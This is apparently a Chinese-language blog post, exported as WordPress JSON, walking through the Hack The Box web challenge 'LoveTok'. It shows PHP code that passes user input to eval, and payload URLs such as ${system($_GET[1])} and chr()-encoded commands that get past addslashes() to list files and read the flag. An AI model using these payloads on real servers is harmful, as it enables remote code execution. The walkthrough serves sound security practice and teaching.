{"id":817,"date":"2023-11-05T16:19:25","date_gmt":"2023-11-05T08:19:25","guid":{"rendered":"http:\/\/note.systw.net\/note\/?p=817"},"modified":"2024-03-16T00:59:54","modified_gmt":"2024-03-15T16:59:54","slug":"htb-lovetok","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/817","title":{"rendered":"HTB LoveTok"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\u74b0\u5883\u8aaa\u660e<\/h3>\n\n\n\n<p>hackthebox\u4e0a\u7684web\u9776\u6a5f,\u540d\u7a31\u70ba<code>LoveTok<\/code><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u7b56\u7565 <\/h3>\n\n\n\n<p>\u9952\u904eaddslashes\u5b57\u4e32\u4fdd\u8b77\uff0c\u4e26\u5229\u7528eval\u57f7\u884c\u4efb\u610f\u7a0b\u5f0f\u78bc<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u6aa2\u6e2c\u91cd\u9ede &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u6ce8\u5165\u9ede\u6e2c\u8a66<code>${phpinfo()}<\/code>\u53ef\u5426\u57f7\u884c<br>\u5728PHP GET\u4e2d\uff0c\u53ef\u4ee5\u7528<code>?id=${phpinfo()}<\/code>\u7684\u65b9\u6cd5\u57f7\u884c\u547d\u4ee4\uff0c<code>${}<\/code>\u5167\u90e8\u51fd\u6578\u6703\u88ab\u57f7\u884c<\/li>\n\n\n\n<li>\u5728\u7a0b\u5f0f\u78bc\u4e2d\u6aa2\u67e5\u7be9\u9078\u50c5\u4f7f\u7528addslashes()&nbsp; &nbsp; &nbsp; &nbsp;<\/li>\n\n\n\n<li>\u5728\u7a0b\u5f0f\u78bc\u4e2d\u6aa2\u67e5\u662f\u5426\u4f7f\u7528eval()<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u76ee\u6a19\u9632\u79a6\u6a5f\u5236<\/h3>\n\n\n\n<p>php addslashes() \uff1a \u4f5c\u7528\u662f\u5728\u9810\u5148\u5b9a\u7fa9\u7684\u5b57\u5143\u524d\u9762\u52a0\u4e0a\u53cd\u659c\u6760\uff0c\u9019\u4e9b\u9810\u5b9a\u7fa9\u5b57\u5143\u5305\u62ec\uff1a\u55ae\u5f15\u865f\uff08\u2019\uff09\uff1b\u96d9\u5f15\u865f\uff08&#8221;\uff09\uff1b\u53cd\u659c\u7dda\uff08\\\uff09\uff1bNULL<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<p> <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5165\u4fb5\u65b9\u5f0f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1\u539f\u78bc\u5206\u6790<\/h3>\n\n\n\n<p>\u5206\u6790TimeModel.php\uff0c\u767c\u73fe $this-&gt;format\u6709\u6ce8\u5165\u554f\u984c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public function getTime()\n{\n&nbsp; &nbsp; &nbsp; eval('$time = date(\"' . $this-&gt;format . '\", strtotime(\"' . $this-&gt;prediction . '\"));');<\/code><\/pre>\n\n\n\n<p>\u4f8b\u5982<br>$this-&gt;format\u6539\u70ba<code>\");system(\"ls \/\")<\/code>   \uff0c\u7a0b\u5f0f\u5c07\u8b8a\u70ba\u4ee5\u4e0b\uff0c\u7406\u8ad6\u4e0a\u53ef\u5be6\u73fe\u7a0b\u5f0f\u78bc\u6ce8\u5165<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>eval('$time = date(\"<strong>\");system(\"ls \/\")\/\/<\/strong>\", strtotime(\"'' . $this-&gt;prediction . '\"));');<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2\u9952\u904e\u9632\u79a6\u6a5f\u5236<\/h3>\n\n\n\n<p>\u4f46\u56e0\u70ba\u6709addslashes()\uff0c\u6240\u4ee5\u6ce8\u5165\u4e0d\u80fd\u7528\u5230\u96d9\u5f15\u865f\uff0c\u56e0\u6b64<code>\");system(\"ls \/\")<\/code>\u7121\u6cd5\u4f7f\u7528<\/p>\n\n\n\n<p>\u70ba\u4e86\u9976\u8fc7addslashes\uff0c\u6240\u4ee5\u4f7f\u7528<code>${}<\/code>\u683c\u5f0f\u6d4b\u8bd5\u662f\u5426\u4e5f\u80fd\u57f7\u884c<br><code>&lt;http:\/\/Target IP\/?format=${phpinfo()}&gt;<\/code><\/p>\n\n\n\n<p>\u57f7\u57f7\u884c\u5f8c\u7a0b\u5f0f\u78bc\u5c07\u8b8a\u6210\u4ee5\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>eval('$time = date(\"${phpinfo()}\", strtotime(\"'' . $this-&gt;prediction . '\"));');<\/code><\/code><\/pre>\n\n\n\n<p>\u800c\u4e14\u5728\u7db2\u9801\u4e2d\u53ef\u4ee5\u986f\u793aphpinfo() \u7d50\u679c\uff0c\u4ee3\u8868\u4f7f\u7528<code>${}<\/code>\u9019\u7a2e\u65b9\u6cd5\u53ef\u9952\u904eaddslashes() <\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3\u57f7\u884cls\u6307\u4ee4<\/h3>\n\n\n\n<p>\u57f7\u884cls\u5c0b\u627eflag<br>\u4f46\u4ee5\u4e0b\u65b9\u6cd5\u9700\u8981\u7528\u96d9\u5f15\u865f\uff0c\u6240\u4ee5\u6b64\u65b9\u6cd5\u7121\u6cd5\u57f7\u884c<br><code>&lt;http:\/\/Target IP\/?format=${system(\"ls\")}&gt;<\/code><\/p>\n\n\n\n<p>\u6240\u4ee5\u8981\u6539\u6210\u4ee5\u4e0b\uff0c\u907f\u5f00\u53cc\u5f15\u53f7\uff0c\u900f\u8fc7$_GET[1]\u53bb\u62ffls\u547d\u4ee4<br><code>&lt;http:\/\/Target IP\/?format=${system($_GET[1])}&amp;1=ls&gt;<\/code><\/p>\n\n\n\n<p>\u5148\u641c\u5c0b\u6839\u76ee\u9304<code>\/<\/code>\uff0c\u6240\u4ee5\u8981\u4f7f\u7528<code>+<\/code>\uff0c\u9019\u5728php\u6703\u88ab\u89e3\u78bc\u70ba\u7a7a\u683c\uff0c\u5982\u4e0b <br><code>&lt;http:\/\/Target IP\/?format=${system($_GET[1])}&amp;1=ls+\/&gt;<\/code><\/p>\n\n\n\n<p>\u57f7\u884c\u5f8c\u5c31\u6703\u770b\u5230 flagepfnx\u6a94\u6848<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4\u57f7\u884ccat\u6307\u4ee4<\/h3>\n\n\n\n<p>\u986f\u793aflagepfnx\u6a94\u6848<br><code>&lt;http:\/\/Target IP\/?format=${system($_GET[1])}&amp;1=cat+\/flagepfnx&gt;<\/code><\/p>\n\n\n\n<p>\u5f97\u5230Flag<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u88dc\u5145\u8aaa\u660e<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1.php\u4e0d\u540c\u7684\u8f38\u51fa\u65b9\u5f0f\u4ecb\u7d39<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>$a = 1;\necho 'a is $a';&nbsp;  \/\/ result: a is $a\necho \"a is $a\";&nbsp;  \/\/ result: a is 1\necho \"${a}bc\";&nbsp; &nbsp; \/\/ result: 1bc\n\nfunction b()\n{\n&nbsp; return \"a\";\n}\necho \"a is ${b()}\";&nbsp; &nbsp;  \/\/ result: a is 1 as it gets a is $a 1st<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.\u5728 PHP \u4e2d\uff0cURL \u4e2d\u7684\uff0b\u6703\u88ab\u89e3\u78bc\u70ba\u7a7a\u683c<\/h3>\n\n\n\n<p>\u9019\u662f\u56e0\u70ba\u5728 URL \u7de8\u78bc\u4e2d\uff0c\u7a7a\u683c\u901a\u5e38\u88ab\u7de8\u78bc\u70ba\u300c+\u300d\u865f\u3002 <br>\u4f8b\u5982\uff0c\u5982\u679c\u60a8\u4f7f\u7528 GET \u65b9\u6cd5\u63d0\u4ea4\u8868\u55ae\u8cc7\u6599\u4e26\u4e14\u5305\u542b\u4e00\u500b\u5e36\u6709\u7a7a\u683c\u7684\u5b57\u6bb5\uff0c\u5247\u700f\u89bd\u5668\u6703\u5c07\u7a7a\u683c\u8f49\u63db\u70ba\u52a0\u865f\uff0c\u4e26\u5728\u767c\u9001\u8acb\u6c42\u6642\u5c07\u5176\u5305\u542b\u5728 URL \u4e2d\u3002 \u7576 PHP \u4f3a\u670d\u5668\u63a5\u6536\u5230\u6b64\u8acb\u6c42\u6642\uff0c\u6703\u81ea\u52d5\u5c07\u52a0\u865f\u89e3\u78bc\u70ba\u7a7a\u683c\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.\u53ef\u4f7f\u7528\u5341\u516d\u9032\u4f4d\u4f86\u9952\u904eaddslashes()<\/h3>\n\n\n\n<p>\u4ee5\u4e0b\u7b49\u540c\u65bc<code>cat flag<\/code><br><code>${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103).chr(42))}<\/code><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p>\u53c3\u8003\u6587\u737b<br>https:\/\/websec.one\/hack-the-box-lovetok-writeup\/<br>https:\/\/www.freebuf.com\/articles\/web\/327404.html<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u74b0\u5883\u8aaa\u660e hackthebox\u4e0a\u7684web\u9776\u6a5f,\u540d\u7a31\u70baLove &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[27],"tags":[42,53],"class_list":["post-817","post","type-post","status-publish","format-standard","hentry","category-hackerskill","tag-bypass","tag-rce"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/817","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=817"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/817\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=817"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=817"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=817"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}